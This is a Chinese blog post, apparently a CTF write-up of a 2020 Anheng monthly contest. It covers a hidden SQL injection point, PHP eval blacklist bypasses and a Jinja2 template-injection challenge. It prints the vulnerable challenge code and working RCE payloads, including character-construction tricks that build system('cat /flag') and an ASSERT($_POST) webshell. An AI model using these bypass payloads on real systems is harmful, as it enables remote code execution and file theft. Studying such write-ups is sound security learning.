安恒八月赛,又是劝退的一场比赛😐

复现环境暂时木得,把几个自己感觉比较好的点先记下来总结一下,后面有机会再复现


1.安恒大学:

Y1ng 师傅出的题

有个登录和注册,一开始以为这两个地方有 SQL 注入,然后还像模像样地 fuzz 了一下,结果没什么用

注册完成进行登陆,进去个管理页面,图没截下来,然后就不知道干什么了……

赛后看了一下师傅的笔记 2020DASCTF八月浪漫七夕战安恒月赛Writeup,SQL 的注入点在邮箱激活链接的 username 里

确实没想到,但可能这就是 Y1ng 师傅在 wp 里说的 8😶

“但是渗透测试就是这样,任何地方都有可能产生漏洞,而干扰的内容又很多,只有大量的测试才能找到漏洞,所以既然是实战改编就干脆实事求是,也没必要特意改成 CTF 风格,CTF 毕竟是比赛,以后去工作了早晚是要面对真实生产环境的 ”


2.rceme:

我一直都觉得 RCE 的代码审计类题目只要放到比赛上就很难,花式构造与绕过真的挺折磨人的

这道题目应该是改编自 [CTFshow 36D] 的一道审计题目,个人感觉这两道题目都很好,非常非常好,也算补了补前期 RCE 的知识漏洞


先看上次 36D 的

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");

后续的反混淆操作先不考虑,只看构造读取文件这一步

含过滤的命令执行一般都会采用数字、字母和其他的特殊符号(比如取反、与、或、异或)作为黑名单,通过其他的构造方法(一些不包含数字和字母的webshell)达到 RCE 的目的

对于这道题目而言,由于最后的执行语句为 eval("echo($code);"); 而我们想要输出 $hint,所以就要构造出来这几个字符

看一下过滤的内容,虽然过滤了字母、取反、异或,但是还有其他的字符和位操作符在外面,所以可以考虑 “|”

简单的在 PHP 里用 “|” 测试一下可以得到许多,选出可以构造 “hint” 字符串的

'( | @ = h'
'@ | ) = i'
'@ | . = n'
'4 | @ = t'

直接发过去:?code=($_='@@@@'|'().4').$$_

后来看了看师傅们的博客,还有其他的解法,学习一下:

第一种是利用数字在黑名单里进行字符截取:

因为黑名单里面有现成的,所以直接 "$_{数字}" 截取,最后构造:?code=${$_{7}.$_{8}.$_{12}.$_{19}} => $hint

第二种做法和第一种有些像,也是要截取字符,但是只截取了 “chr”,后面直接利用 chr(ascii) 进行构造 system('cat /flag')

?code=($_1=$_{2}.$_{7}.$_{17}).($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).($_2($__))

第三种做法就是先闭合前面的 echo 部分,然后再加上自己构造的字符串,最后加上注释符或是再闭合,类似这样的东西 $code="1")$payload//

具体的 payload 如下:

?code=" "); // 闭合 echo
$_=[];
$_=@"$_"; // 取 Array
$_=$_['!'=='@']; // $_=$_[0]
$___=$_; // 取 A
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 自增取 S
$___.=$__;$___.=$__; // ASS
$__=$_;$__++;$__++;$__++;$__++;$___.=$__; // ASSE
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // ASSER
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // ASSERT
$____='_';$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; // _P
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; // _PO
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; //_POS
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; // _POST
$_=$$____;$___($_[_]);// ASSERT($_POST[_]);

最后 POST 传一下 _=system('cat /flag');

但是没复现成功……

第四种做法闭合截取直接 RCE:

?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5]
.$_[13].$_[0].$_[6];$__($___);(1


再看这次月赛的题目

<?php 
error_reporting(0); 
show_source(__FILE__); 
$code=$_POST['code']; 
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0'); 
//This blacklist is so stupid. 
$blacklist = array_merge($_); 
foreach ($blacklist as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/im', $code)) { 
        die('you are not smart'); 
    } 
} 
eval("echo($code)"); 
?>

过滤确实挺狠的,数字没了,”@” 也被处理掉了,肯定还是要用 “|” 来构造,但是试了半天也没出来……

看了一下别的师傅的 wp

  1. Y1ng:2020DASCTF八月浪漫七夕战安恒月赛Writeup
  2. karsa:2020DASCTF八月浪漫七夕战
  3. 白帽酱:2020安恒DASCTF八月浪漫七夕战 ezrce Writeup

Y1ng 师傅的 exp 真的没看懂🙄,其他两个师傅用的反引号和其他字符构造出 readfile(/flag) 当时也没想到还有其它字符可用……草率了🤨

'` |  = r'
'` |  = e'
'` |  = a' '` | ! = a'
'` |  = d'
'` |  = f'
'` |      = i'
'` |  = l'
'` |  = e'
'` |  = g' '` | ' = g'

最后组合一下得到 payload:?code=1);('````````')|(' ')('/````'|'/ '));(1 => readfile(/flag)

当然,由于文件读取的方法有很多,所以应该有其他的构造方法


3.ezflask

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

Jinja2 模板注入

由于过滤,常见的 payload 基本上不能直接用,还是需要构造,这道题放到下一部分 python 学习再详细总结,先🕊了



0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注